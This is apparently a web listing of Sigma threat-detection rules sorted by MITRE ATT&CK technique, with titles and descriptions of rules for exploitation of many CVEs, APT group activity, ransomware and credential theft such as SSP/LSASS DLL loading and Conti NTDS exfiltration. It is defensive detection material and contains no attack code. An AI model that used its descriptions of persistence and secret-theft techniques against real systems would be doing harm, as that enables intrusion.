attack.t1547.005	1	Show Rules (1) Security Support Provider (SSP) Added to LSA Configuration - Level: high Description: Detects the addition of a SSP to the registry. Upon a reboot or API call, SSP DLLs gain access to encrypted and plaintext passwords stored in Windows.
attack.t1547.008	1	Show Rules (1) DLL Load via LSASS - Level: high Description: Detects a method to load DLL via LSASS process using an undocumented Registry key
attack.t1559.002	1	Show Rules (1) Enable Microsoft Dynamic Data Exchange - Level: medium Description: Enable Dynamic Data Exchange protocol (DDE) in all supported editions of Microsoft Word or Excel.
attack.t1547.003	1	Show Rules (1) New TimeProviders Registered With Uncommon DLL Name - Level: high Description: Detects processes setting a new DLL in DllName in under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider. Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.
attack.t1036.008	1	Show Rules (1) Non-DLL Extension File Renamed With DLL Extension - Level: medium Description: Detects rename operations of files with non-DLL extensions to files with a DLL extension. This is often performed by malware in order to avoid initial detections based on extensions.
attack.t1090.004	1	Show Rules (1) Potentially Suspicious Azure Front Door Connection - Level: medium Description: Detects connections with Azure Front Door (known legitimate service that can be leveraged for C2) that fall outside of known benign behavioral baseline (not using common apps or common azurefd.net endpoints)
attack.t1583.006	1	Show Rules (1) Potential AWS Cloud Email Service Abuse - Level: medium Description: Detects when the email sending feature is enabled for an AWS account and the email address verification request is dispatched in quick succession
attack.t1574.010	1	Show Rules (1) Files Dropped to Program Files by Non-Priviledged Process - Level: medium Description: Search for dropping of files to Windows/Program Files fodlers by non-priviledged processes

Top MITRE Other Techniques

Other Technique	Count	Rule Title
detection.emerging_threats	333	Show Rules (333) Rejetto HTTP File Server RCE - Level: high Description: Detects attempts to exploit a Rejetto HTTP File Server (HFS) via CVE-2014-6287 CVE-2010-5278 Exploitation Attempt - Level: critical Description: MODx manager - Local File Inclusion:Directory traversal vulnerability in manager/controllers/default/resource/tvs.php in MODx Revolution 2.0.2-pl, and possibly earlier, when magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the class_key parameter. ZxShell Malware - Level: critical Description: Detects a ZxShell start by the called and well-known function name Turla Group Lateral Movement - Level: critical Description: Detects automated lateral movement by Turla group Turla Group Commands May 2020 - Level: critical Description: Detects commands used by Turla group as reported by ESET in May 2020 Exploit for CVE-2015-1641 - Level: critical Description: Detects Winword starting uncommon sub process MicroScMgmt.exe as used in exploits for CVE-2015-1641 Exploit for CVE-2017-0261 - Level: medium Description: Detects Winword starting uncommon sub process FLTLDR.exe as used in exploits for CVE-2017-0261 and CVE-2017-0262 Droppers Exploiting CVE-2017-11882 - Level: critical Description: Detects exploits that use CVE-2017-11882 to start EQNEDT32.EXE and other sub processes like mshta.exe Exploit for CVE-2017-8759 - Level: critical Description: Detects Winword starting uncommon sub process csc.exe as used in exploits for CVE-2017-8759 Adwind RAT / JRAT - Level: high Description: Detects javaw.exe in AppData folder as used by Adwind / JRAT CosmicDuke Service Installation - Level: critical Description: Detects the installation of a service named "javamtsup" on the system. The CosmicDuke info stealer uses Windows services typically named "javamtsup" for persistence. Fireball Archer Install - Level: high Description: Detects Archer malware invocation via rundll32 Malware Shellcode in Verclsid Target Process - Level: high Description: Detects a process access to verclsid.exe that injects shellcode from a Microsoft Office application / VBA macro NotPetya Ransomware Activity - Level: critical Description: Detects NotPetya ransomware activity in which the extracted passwords are passed back to the main module via named pipe, the file system journal of drive C is deleted and Windows eventlogs are cleared using wevtutil Potential PlugX Activity - Level: high Description: Detects the execution of an executable that is typically used by PlugX for DLL side loading starting from an uncommon location StoneDrill Service Install - Level: high Description: This method detects a service install of the malicious Microsoft Network Realtime Inspection Service service described in StoneDrill report by Kaspersky WannaCry Ransomware Activity - Level: critical Description: Detects WannaCry ransomware activity Potential APT10 Cloud Hopper Activity - Level: high Description: Detects potential process and execution activity related to APT10 Cloud Hopper operation Ps.exe Renamed SysInternals Tool - Level: high Description: Detects renamed SysInternals tool execution with a binary named ps.exe as used by Dragonfly APT group and documented in TA17-293A report Equation Group C2 Communication - Level: high Description: Detects communication to C2 servers mentioned in the operational notes of the ShadowBroker leak of EquationGroup C2 tools Lazarus System Binary Masquerading - Level: high Description: Detects binaries used by the Lazarus group which use system names but are executed and launched from non-default location Turla Group Named Pipes - Level: critical Description: Detects a named pipe used by Turla group samples Turla Service Install - Level: high Description: This method detects a service install of malicious services mentioned in Carbon Paper - Turla report by ESET Turla PNG Dropper Service - Level: critical Description: This method detects malicious services mentioned in Turla PNG dropper report by NCC Group in November 2018 Fortinet CVE-2018-13379 Exploitation - Level: critical Description: Detects CVE-2018-13379 exploitation attempt against Fortinet SSL VPNs Oracle WebLogic Exploit - Level: critical Description: Detects access to a webshell dropped into a keystore folder on the WebLogic server Elise Backdoor Activity - Level: critical Description: Detects Elise backdoor activity used by APT32 APT27 - Emissary Panda Activity - Level: critical Description: Detects the execution of DLL side-loading malware used by threat group Emissary Panda aka APT27 Sofacy Trojan Loader Activity - Level: high Description: Detects Trojan loader activity as used by APT28 APT29 2018 Phishing Campaign File Indicators - Level: critical Description: Detects indicators of APT 29 (Cozy Bear) phishing-campaign as reported by mandiant APT29 2018 Phishing Campaign CommandLine Indicators - Level: critical Description: Detects indicators of APT 29 (Cozy Bear) phishing-campaign as reported by mandiant OceanLotus Registry Activity - Level: critical Description: Detects registry keys created in OceanLotus (also known as APT32) attacks Potential MuddyWater APT Activity - Level: high Description: Detects potential Muddywater APT activity OilRig APT Activity - Level: critical Description: Detects OilRig activity as reported by Nyotron in their March 2018 report OilRig APT Registry Persistence - Level: critical Description: Detects OilRig registry persistence as reported by Nyotron in their March 2018 report OilRig APT Schedule Task Persistence - Security - Level: critical Description: Detects OilRig schedule task persistence as reported by Nyotron in their March 2018 report OilRig APT Schedule Task Persistence - System - Level: critical Description: Detects OilRig schedule task persistence as reported by Nyotron in their March 2018 report Defrag Deactivation - Level: medium Description: Detects the deactivation and disabling of the Scheduled defragmentation task as seen by Slingshot APT group Defrag Deactivation - Security - Level: medium Description: Detects the deactivation and disabling of the Scheduled defragmentation task as seen by Slingshot APT group TropicTrooper Campaign November 2018 - Level: high Description: Detects TropicTrooper activity, an actor who targeted high-profile organizations in the energy and food and beverage sectors in Asia Potential BearLPE Exploitation - Level: high Description: Detects potential exploitation of the BearLPE exploit using Task Scheduler ".job" import arbitrary DACL write\par Pulse Secure Attack CVE-2019-11510 - Level: critical Description: Detects CVE-2019-11510 exploitation attempt - URI contains Guacamole Exploiting SetupComplete.cmd CVE-2019-1378 - Level: high Description: Detects exploitation attempt of privilege escalation vulnerability via SetupComplete.cmd and PartnerSetupComplete.cmd described in CVE-2019-1378 Citrix Netscaler Attack CVE-2019-19781 - Level: critical Description: Detects CVE-2019-19781 exploitation attempt against Citrix Netscaler, Application Delivery Controller and Citrix Gateway Attack Exploiting CVE-2019-1388 - Level: critical Description: Detects an exploitation attempt in which the UAC consent dialogue is used to invoke an Internet Explorer process running as LOCAL_SYSTEM Potential Baby Shark Malware Activity - Level: high Description: Detects activity that could be related to Baby Shark malware Confluence Exploitation CVE-2019-3398 - Level: critical Description: Detects the exploitation of the Confluence vulnerability described in CVE-2019-3398 Potential Dridex Activity - Level: critical Description: Detects potential Dridex acitvity via specific process patterns Potential Dtrack RAT Activity - Level: critical Description: Detects potential Dtrack RAT activity via specific process patterns Potential Emotet Activity - Level: high Description: Detects all Emotet like process executions that are not covered by the more generic rules Formbook Process Creation - Level: high Description: Detects Formbook like process executions that inject code into a set of files in the System32 folder, which executes a special command command line to delete the dropper from the AppData Temp folder. We avoid false positives by excluding all parent process with command line parameters. LockerGoga Ransomware Activity - Level: critical Description: Detects LockerGoga ransomware activity via specific command line. Potential QBot Activity - Level: critical Description: Detects potential QBot activity by looking for process executions used previously by QBot Potential Ryuk Ransomware Activity - Level: high Description: Detects Ryuk ransomware activity Potential Snatch Ransomware Activity - Level: high Description: Detects specific process characteristics of Snatch ransomware word document droppers Potential Ursnif Malware Activity - Registry - Level: high Description: Detects registry keys related to Ursnif malware. Potential APT-C-12 BlueMushroom DLL Load Activity Via Regsvr32 - Level: medium Description: Detects potential BlueMushroom DLL loading activity via regsvr32 from AppData Local APT31 Judgement Panda Activity - Level: critical Description: Detects APT31 Judgement Panda activity as described in the Crowdstrike 2019 Global Threat Report Potential Russian APT Credential Theft Activity - Level: critical Description: Detects Russian group activity as described in Global Threat Report 2019 by Crowdstrike Potential EmpireMonkey Activity - Level: high Description: Detects potential EmpireMonkey APT activity Equation Group DLL_U Export Function Load - Level: critical Description: Detects a specific export function name used by one of EquationGroup tools Mustang Panda Dropper - Level: high Description: Detects specific process parameters as used by Mustang Panda droppers Operation Wocao Activity - Level: high Description: Detects activity mentioned in Operation Wocao report Operation Wocao Activity - Security - Level: high Description: Detects activity mentioned in Operation Wocao report CVE-2020-0688 Exploitation Attempt - Level: high Description: Detects CVE-2020-0688 Exploitation attempts CVE-2020-0688 Exchange Exploitation via Web Log - Level: critical Description: Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688 CVE-2020-0688 Exploitation via Eventlog - Level: high Description: Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688 CVE-2020-10148 SolarWinds Orion API Auth Bypass - Level: critical Description: Detects CVE-2020-10148 SolarWinds Orion API authentication bypass attempts DNS RCE CVE-2020-1350 - Level: critical Description: Detects exploitation of DNS RCE bug reported in CVE-2020-1350 by the detection of suspicious sub process Potential Emotet Rundll32 Execution - Level: critical Description: Detecting Emotet DLL loading by looking for rundll32.exe processes with command lines ending in ,RunDLL or ,Control_RunDLL CVE-2020-5902 F5 BIG-IP Exploitation Attempt - Level: critical Description: Detects the exploitation attempt of the vulnerability found in F5 BIG-IP and described in CVE-2020-5902 Citrix ADS Exploitation CVE-2020-8193 CVE-2020-8195 - Level: critical Description: Detects exploitation attempt against Citrix Netscaler, Application Delivery Controller (ADS) and Citrix Gateway exploiting vulnerabilities reported as CVE-2020-8193 and CVE-2020-8195 Exploitation Attempt Of CVE-2020-1472 - Execution of ZeroLogon PoC - Level: high Description: Detects the execution of the commonly used ZeroLogon PoC executable. Suspicious PrinterPorts Creation (CVE-2020-1048) - Level: high Description: Detects new commands that add new printer port which point to suspicious file Exploited CVE-2020-10189 Zoho ManageEngine - Level: high Description: Detects the exploitation of Zoho ManageEngine Desktop Central Java Deserialization vulnerability reported as CVE-2020-10189 TerraMaster TOS CVE-2020-28188 - Level: high Description: Detects the exploitation of the TerraMaster TOS vulnerability described in CVE-2020-28188 Blue Mockingbird - Level: high Description: Attempts to detect system changes made by Blue Mockingbird GALLIUM IOCs - Level: high Description: Detects artifacts associated with GALLIUM cyber espionage group as reported by Microsoft Threat Intelligence Center in the December 2019 report. Potential Maze Ransomware Activity - Level: critical Description: Detects specific process characteristics of Maze ransomware word document droppers Trickbot Malware Activity - Level: high Description: Detects Trickbot malware process tree pattern in which "rundll32.exe" is a parent of "wermgr.exe" Potential Ke3chang/TidePool Malware Activity - Level: high Description: Detects registry modifications potentially related to the Ke3chang/TidePool malware as seen in campaigns running in 2019 and 2020 EvilNum APT Golden Chickens Deployment Via OCX Files - Level: critical Description: Detects Golden Chickens deployment method as used by Evilnum and described in ESET July 2020 report Cisco ASA FTD Exploit CVE-2020-3452 - Level: high Description: Detects exploitation attempts on Cisco ASA FTD systems exploiting CVE-2020-3452 with a status code of 200 (sccessful exploitation) Oracle WebLogic Exploit CVE-2020-14882 - Level: high Description: Detects exploitation attempts on WebLogic servers Lazarus Group Activity - Level: critical Description: Detects different process execution behaviors as described in various threat reports on Lazarus group activity GALLIUM Artefacts - Builtin - Level: high Description: Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019. Leviathan Registry Key Activity - Level: critical Description: Detects registry key used by Leviathan APT in Malaysian focused campaign Solarwinds SUPERNOVA Webshell Access - Level: critical Description: Detects access to SUPERNOVA webshell as described in Guidepoint report UNC2452 Process Creation Patterns - Level: high Description: Detects a specific process creation patterns as seen used by UNC2452 and provided by Microsoft as Microsoft Defender ATP queries Greenbug Espionage Group Indicators - Level: critical Description: Detects tools and process executions used by Greenbug in their May 2020 campaign as reported by Symantec UNC2452 PowerShell Pattern - Level: critical Description: Detects a specific PowerShell command line pattern used by the UNC2452 actors as mentioned in Microsoft and Symantec reports Suspicious VBScript UN2452 Pattern - Level: high Description: Detects suspicious inline VBScript keywords as used by UNC2452 TAIDOOR RAT DLL Load - Level: high Description: Detects specific process characteristics of Chinese TAIDOOR RAT malware load Winnti Malware HK University Campaign - Level: critical Description: Detects specific process characteristics of Winnti malware noticed in Dec/Jan 2020 in a campaign against Honk Kong universities Winnti Pipemon Characteristics - Level: critical Description: Detects specific process characteristics of Winnti Pipemon malware reported by ESET CVE-2021-31979 CVE-2021-33771 Exploits by Sourgum - Level: critical Description: Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum CVE-2021-31979 CVE-2021-33771 Exploits - Level: critical Description: Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum Arcadyan Router Exploitations - Level: critical Description: Detects exploitation of vulnerabilities in Arcadyan routers as reported in CVE-2021-20090 and CVE-2021-20091. Possible Exploitation of Exchange RCE CVE-2021-42321 - Level: high Description: Detects log entries that appear in exploitation attempts against MS Exchange RCE CVE-2021-42321 CVE-2021-1675 Print Spooler Exploitation Filename Pattern - Level: critical Description: Detects the default filename used in PoC code against print spooler vulnerability CVE-2021-1675 Possible CVE-2021-1675 Print Spooler Exploitation - Level: high Description: Detects events of driver load errors in print service logs that could be a sign of successful exploitation attempts of print spooler vulnerability CVE-2021-1675 CVE-2021-1675 Print Spooler Exploitation - Level: critical Description: Detects driver load events print service operational log that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675 CVE-2021-1675 Print Spooler Exploitation IPC Access - Level: critical Description: Detects remote printer driver load from Detailed File Share in Security logs that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675 and CVE-2021-34527 Oracle WebLogic Exploit CVE-2021-2109 - Level: critical Description: Detects the exploitation of the WebLogic server vulnerability described in CVE-2021-2109 CVE-2021-21972 VSphere Exploitation - Level: high Description: Detects the exploitation of VSphere Remote Code Execution vulnerability as described in CVE-2021-21972 CVE-2021-21978 Exploitation Attempt - Level: high Description: Detects the exploitation of the VMware View Planner vulnerability described in CVE-2021-21978 VMware vCenter Server File Upload CVE-2021-22005 - Level: high Description: Detects exploitation attempts using file upload vulnerability CVE-2021-22005 in the VMWare vCenter Server. Fortinet CVE-2021-22123 Exploitation - Level: critical Description: Detects CVE-2021-22123 exploitation attempt against Fortinet WAFs Pulse Connect Secure RCE Attack CVE-2021-22893 - Level: high Description: This rule detects exploitation attempts using Pulse Connect Secure(PCS) vulnerability (CVE-2021-22893) Potential Atlassian Confluence CVE-2021-26084 Exploitation Attempt - Level: high Description: Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2021-26084 Potential CVE-2021-26084 Exploitation Attempt - Level: high Description: Detects potential exploitation of CVE-2021-260841 a Confluence RCE using OGNL injection Exploitation of CVE-2021-26814 in Wazuh - Level: high Description: Detects the exploitation of the Wazuh RCE vulnerability described in CVE-2021-26814 Potential CVE-2021-26857 Exploitation Attempt - Level: high Description: Detects possible successful exploitation for vulnerability described in CVE-2021-26857 by looking for \| abnormal subprocesses spawning by Exchange Server's Unified Messaging service CVE-2021-26858 Exchange Exploitation - Level: high Description: Detects possible successful exploitation for vulnerability described in CVE-2021-26858 by looking for creation of non-standard files on disk by Exchange Server’s Unified Messaging service which could indicate dropping web shells or other malicious content ProxyLogon Reset Virtual Directories Based On IIS Log - Level: critical Description: When exploiting this vulnerability with CVE-2021-26858, an SSRF attack is used to manipulate virtual directories Potential CVE-2021-27905 Exploitation Attempt - Level: medium Description: Detects exploitation attempt of the CVE-2021-27905 which affects all Apache Solr versions prior to and including 8.8.1. Exchange Exploitation CVE-2021-28480 - Level: critical Description: Detects successful exploitation of Exchange vulnerability as reported in CVE-2021-28480 CVE-2021-33766 Exchange ProxyToken Exploitation - Level: critical Description: Detects the exploitation of Microsoft Exchange ProxyToken vulnerability as described in CVE-2021-33766 Serv-U Exploitation CVE-2021-35211 by DEV-0322 - Level: critical Description: Detects patterns as noticed in exploitation of Serv-U CVE-2021-35211 vulnerability by threat group DEV-0322 Suspicious Word Cab File Write CVE-2021-40444 - Level: high Description: Detects file creation patterns noticeable during the exploitation of CVE-2021-40444 Potential CVE-2021-40444 Exploitation Attempt - Level: high Description: Detects potential exploitation of CVE-2021-40444 via suspicious process patterns seen in in-the-wild exploitations Potential Exploitation Attempt From Office Application - Level: high Description: Detects Office applications executing a child process that includes directory traversal patterns. This could be an attempt to exploit CVE-2022-30190 (MSDT RCE) or CVE-2021-40444 (MSHTML RCE) ADSelfService Exploitation - Level: high Description: Detects suspicious access to URLs that was noticed in cases in which attackers exploitated the ADSelfService vulnerability CVE-2021-40539 CVE-2021-40539 Zoho ManageEngine ADSelfService Plus Exploit - Level: critical Description: Detects an authentication bypass vulnerability affecting the REST API URLs in ADSelfService Plus (CVE-2021-40539). InstallerFileTakeOver LPE CVE-2021-41379 File Create Event - Level: critical Description: Detects signs of the exploitation of LPE CVE-2021-41379 that include an msiexec process that creates an elevation_service.exe file Potential CVE-2021-41379 Exploitation Attempt - Level: critical Description: Detects potential exploitation attempts of CVE-2021-41379 (InstallerFileTakeOver), a local privilege escalation (LPE) vulnerability where the attacker spawns a "cmd.exe" process as a child of Microsoft Edge elevation service "elevation_service" with "LOCAL_SYSTEM" rights LPE InstallerFileTakeOver PoC CVE-2021-41379 - Level: high Description: Detects PoC tool used to exploit LPE vulnerability CVE-2021-41379 CVE-2021-41773 Exploitation Attempt - Level: high Description: Detects exploitation of flaw in path normalization in Apache HTTP server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally this flaw could leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. Sitecore Pre-Auth RCE CVE-2021-42237 - Level: high Description: Detects exploitation attempts of Sitecore Experience Platform Pre-Auth RCE CVE-2021-42237 found in Report.ashx Potential CVE-2021-42278 Exploitation Attempt - Level: medium Description: The attacker creates a computer object using those permissions with a password known to her. After that she clears the attribute ServicePrincipalName on the computer object. Because she created the object (CREATOR OWNER), she gets granted additional permissions and can do many changes to the object. Suspicious Computer Account Name Change CVE-2021-42287 - Level: high Description: Detects the renaming of an existing computer account to a account name that doesn't contain a $ symbol as seen in attacks against CVE-2021-42287 Grafana Path Traversal Exploitation CVE-2021-43798 - Level: critical Description: Detects a successful Grafana path traversal exploitation CVE-2021-44077 POC Default Dropped File - Level: high Description: Detects the creation of "msiexec.exe" in the "bin" directory of the ManageEngine SupportCenter Plus (Related to CVE-2021-44077) and public POC available (See references section) Potential CVE-2021-44228 Exploitation Attempt - VMware Horizon - Level: high Description: Detects potential initial exploitation attempts against VMware Horizon deployments running a vulnerable versions of Log4j. Log4j RCE CVE-2021-44228 Generic - Level: high Description: Detects exploitation attempt against log4j RCE vulnerability reported as CVE-2021-44228 (Log4Shell) Log4j RCE CVE-2021-44228 in Fields - Level: high Description: Detects exploitation attempt against log4j RCE vulnerability reported as CVE-2021-44228 in different header fields found in web server logs (Log4Shell) Exchange ProxyShell Pattern - Level: high Description: Detects URL patterns that could be found in ProxyShell exploitation attempts against Exchange servers (failed and successful) Suspicious RazerInstaller Explorer Subprocess - Level: high Description: Detects a explorer.exe sub process of the RazerInstaller software which can be invoked from the installer to select a different installation folder but can also be exploited to escalate privileges to LOCAL SYSTEM Successful Exchange ProxyShell Attack - Level: critical Description: Detects URP patterns and status codes that indicate a successful ProxyShell exploitation attack against Exchange servers Potential SystemNightmare Exploitation Attempt - Level: critical Description: Detects an exploitation attempt of SystemNightmare in order to obtain a shell as LOCAL_SYSTEM SonicWall SSL/VPN Jarrewrite Exploitation - Level: high Description: Detects exploitation attempts of the SonicWall Jarrewrite Exploit Potential BlackByte Ransomware Activity - Level: high Description: Detects command line patterns used by BlackByte ransomware in different operations Conti Volume Shadow Listing - Level: high Description: Detects a command used by conti to find volume shadow backups Conti NTDS Exfiltration Command - Level: high Description: Detects a command used by conti to exfiltrate NTDS Potential Conti Ransomware Activity - Level: critical Description: Detects a specific command used by the Conti ransomware group Potential Conti Ransomware Database Dumping Activity Via SQLCmd - Level: high Description: Detects a command used by conti to dump database DarkSide Ransomware Pattern - Level: critical Description: Detects DarkSide Ransomware and helpers Potential Devil Bait Related Indicator - Level: high Description: Detects the creation of ".xml" and ".txt" files in folders of the "\AppData\Roaming\Microsoft" directory by uncommon processes. This behavior was seen common across different Devil Bait samples and stages as described by the NCSC Potential Devil Bait Malware Reconnaissance - Level: high Description: Detects specific process behavior observed with Devil Bait samples Devil Bait Potential C2 Communication Traffic - Level: high Description: Detects potential C2 communication related to Devil Bait malware FoggyWeb Backdoor DLL Loading - Level: critical Description: Detects DLL hijacking technique used by NOBELIUM in their FoggyWeb backdoor. Which loads a malicious version of the expected "version.dll" dll Goofy Guineapig Backdoor IOC - Level: high Description: Detects malicious indicators seen used by the Goofy Guineapig malware Potential Goofy Guineapig Backdoor Activity - Level: high Description: Detects a specific broken command that was used by Goofy-Guineapig as described by the NCSC report. Potential Goofy Guineapig GoolgeUpdate Process Anomaly - Level: high Description: Detects "GoogleUpdate.exe" spawning a new instance of itself in an uncommon location as seen used by the Goofy Guineapig backdoor Goofy Guineapig Backdoor Potential C2 Communication - Level: high Description: Detects potential C2 communication related to Goofy Guineapig backdoor Goofy Guineapig Backdoor Service Creation - Level: critical Description: Detects service creation persistence used by the Goofy Guineapig backdoor Moriya Rootkit File Created - Level: critical Description: Detects the creation of a file named "MoriyaStreamWatchmen.sys" in a specific location. This filename was reported to be related to the Moriya rootkit as described in the securelist's Operation TunnelSnake report. Pingback Backdoor File Indicators - Level: high Description: Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report Pingback Backdoor DLL Loading Activity - Level: high Description: Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report Pingback Backdoor Activity - Level: high Description: Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report Small Sieve Malware File Indicator Creation - Level: high Description: Detects filename indicators that contain a specific typo seen used by the Small Sieve malware. Small Sieve Malware CommandLine Indicator - Level: high Description: Detects specific command line argument being passed to a binary as seen being used by the malware Small Sieve. Small Sieve Malware Potential C2 Communication - Level: critical Description: Detects potential C2 communication related to Small Sieve malware Small Sieve Malware Registry Persistence - Level: high Description: Detects registry value with specific intentional typo and strings seen used by the Small Sieve malware HAFNIUM Exchange Exploitation Activity - Level: critical Description: Detects activity observed by different researchers to be HAFNIUM group activity (or related) on Exchange servers Exchange Exploitation Used by HAFNIUM - Level: high Description: Detects exploitation attempts in Exchange server logs as described in blog posts reporting on HAFNIUM group activity REvil Kaseya Incident Malware Patterns - Level: critical Description: Detects process command line patterns and locations used by REvil group in Kaseya incident (can also match on other malware) APT PRIVATELOG Image Load Pattern - Level: high Description: Detects an image load pattern as seen when a tool named PRIVATELOG is used and rarely observed under legitimate circumstances SOURGUM Actor Behaviours - Level: high Description: Suspicious behaviours related to an actor tracked by Microsoft as SOURGUM DEWMODE Webshell Access - Level: high Description: Detects access to DEWMODE webshell as described in FIREEYE report Potential CVE-2023-21554 QueueJumper Exploitation - Level: high Description: Detects potential exploitation of CVE-2023-21554 (dubbed QueueJumper) Potential CVE-2022-21587 Exploitation Attempt - Level: high Description: Detects potential exploitation attempts of CVE-2022-21587 an arbitrary file upload vulnerability impacting Oracle E-Business Suite (EBS). CVE-2022-21587 can lead to unauthenticated remote code execution. Potential CVE-2022-22954 Exploitation Attempt - VMware Workspace ONE Access Remote Code Execution - Level: medium Description: Detects potential exploitation attempt of CVE-2022-22954, a remote code execution vulnerability in VMware Workspace ONE Access and Identity Manager. As reported by Morphisec, part of the attack chain, threat actors used PowerShell commands that executed as a child processes of the legitimate Tomcat "prunsrv.exe" process application. CVE-2022-24527 Microsoft Connected Cache LPE - Level: high Description: Detects files created during the local privilege exploitation of CVE-2022-24527 Microsoft Connected Cache Potential CVE-2022-26809 Exploitation Attempt - Level: high Description: Detects suspicious remote procedure call (RPC) service anomalies based on the spawned sub processes (long shot to detect the exploitation of vulnerabilities like CVE-2022-26809) Zimbra Collaboration Suite Email Server Unauthenticated RCE - Level: medium Description: Detects an attempt to leverage the vulnerable servlet "mboximport" for an unauthenticated remote command injection Potential CVE-2022-29072 Exploitation Attempt - Level: high Description: Detects potential exploitation attempts of CVE-2022-29072, a 7-Zip privilege escalation and command execution vulnerability. 7-Zip version 21.07 and earlier on Windows allows privilege escalation (CVE-2022-29072) and command execution when a file with the .7z extension is dragged to the Help>Contents area. This is caused by misconfiguration of 7z.dll and a heap overflow. The command runs in a child process under the 7zFM.exe process. CVE-2022-31659 VMware Workspace ONE Access RCE - Level: medium Description: Detects possible exploitation of VMware Workspace ONE Access Admin Remote Code Execution vulnerability as described in CVE-2022-31659 CVE-2022-31656 VMware Workspace ONE Access Auth Bypass - Level: high Description: Detects the exploitation of VMware Workspace ONE Access Authentication Bypass vulnerability as described in CVE-2022-31656 VMware Workspace ONE Access, Identity Manager and vRealize Automation contain an authentication bypass vulnerability affecting local domain users. A malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate. Apache Spark Shell Command Injection - Weblogs - Level: high Description: Detects attempts to exploit an apache spark server via CVE-2014-6287 from a weblogs perspective Atlassian Bitbucket Command Injection Via Archive API - Level: high Description: Detects attempts to exploit the Atlassian Bitbucket Command Injection CVE-2022-36804 Potential OWASSRF Exploitation Attempt - Webserver - Level: high Description: Detects exploitation attempt of the OWASSRF variant targeting exchange servers It uses the OWA endpoint to access the powershell backend endpoint OWASSRF Exploitation Attempt Using Public POC - Webserver - Level: critical Description: Detects exploitation attempt of the OWASSRF variant targeting exchange servers using publicly available POC. It uses the OWA endpoint to access the powershell backend endpoint Suspicious Sysmon as Execution Parent - Level: high Description: Detects suspicious process executions in which Sysmon itself is the parent of a process, which could be a sign of exploitation (e.g. CVE-2022-41120) Exploitation Indicator Of CVE-2022-42475 - Level: high Description: Detects exploitation indicators of CVE-2022-42475 a heap-based buffer overflow in sslvpnd. Potential Centos Web Panel Exploitation Attempt - CVE-2022-44877 - Level: high Description: Detects potential exploitation attempts that target the Centos Web Panel 7 Unauthenticated Remote Code Execution CVE-2022-44877 Potential CVE-2022-46169 Exploitation Attempt - Level: high Description: Detects potential exploitation attempts that target the Cacti Command Injection CVE-2022-46169 MSSQL Extended Stored Procedure Backdoor Maggie - Level: high Description: This rule detects the execution of the extended storage procedure backdoor named Maggie in the context of Microsoft SQL server BlueSky Ransomware Artefacts - Level: high Description: Detect access to files and shares with names and extensions used by BlueSky ransomware which could indicate a current or previous encryption attempt. Potential Bumblebee Remote Thread Creation - Level: high Description: Detects remote thread injection events based on action seen used by bumblebee ChromeLoader Malware Execution - Level: high Description: Detects execution of ChromeLoader malware via a registered scheduled task Emotet Loader Execution Via .LNK File - Level: high Description: Detects the Emotet Epoch4 loader as reported by @malware_traffic back in 2022. The ".lnk" file was delivered via phishing campaign. Hermetic Wiper TG Process Patterns - Level: high Description: Detects process execution patterns found in intrusions related to the Hermetic Wiper malware attacks against Ukraine in February 2022 Raspberry Robin Subsequent Execution of Commands - Level: high Description: Detects raspberry robin subsequent execution of commands. Raspberry Robin Initial Execution From External Drive - Level: high Description: Detects the initial execution of the Raspberry Robin malware from an external drive using "Cmd.EXE". Serpent Backdoor Payload Execution Via Scheduled Task - Level: high Description: Detects post exploitation execution technique of the Serpent backdoor. According to Proofpoint, one of the commands that the backdoor ran was via creating a temporary scheduled task using an unusual method. It creates a fictitious windows event and a trigger in which once the event is created, it executes the payload. Potential Raspberry Robin Dot Ending File - Level: high Description: Detects commandline containing reference to files ending with a "." This scheme has been seen used by raspberry-robin Potential ACTINIUM Persistence Activity - Level: high Description: Detects specific process parameters as used by ACTINIUM scheduled task persistence creation. FakeUpdates/SocGholish Activity - Level: high Description: Detects initial execution of FakeUpdates/SocGholish malware via wscript that later executes commands via cmd or powershell. MERCURY APT Activity - Level: high Description: Detects suspicious command line patterns seen being used by MERCURY APT MSMQ Corrupted Packet Encountered - Level: high Description: Detects corrupted packets sent to the MSMQ service. Could potentially be a sign of CVE-2023-21554 exploitation CVE-2023-1389 Potential Exploitation Attempt - Unauthenticated Command Injection In TP-Link Archer AX21 - Level: medium Description: Detects potential exploitation attempt of CVE-2023-1389 an Unauthenticated Command Injection in TP-Link Archer AX21. Exploitation Indicators Of CVE-2023-20198 - Level: high Description: Detecting exploitation indicators of CVE-2023-20198 a privilege escalation vulnerability in Cisco IOS XE Software Web UI. CVE-2023-22518 Exploitation Attempt - Suspicious Confluence Child Process (Linux) - Level: high Description: Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands. CVE-2023-22518 Exploitation Attempt - Suspicious Confluence Child Process (Windows) - Level: medium Description: Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands. CVE-2023-22518 Exploitation Attempt - Vulnerable Endpoint Connection (Proxy) - Level: medium Description: Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands. CVE-2023-22518 Exploitation Attempt - 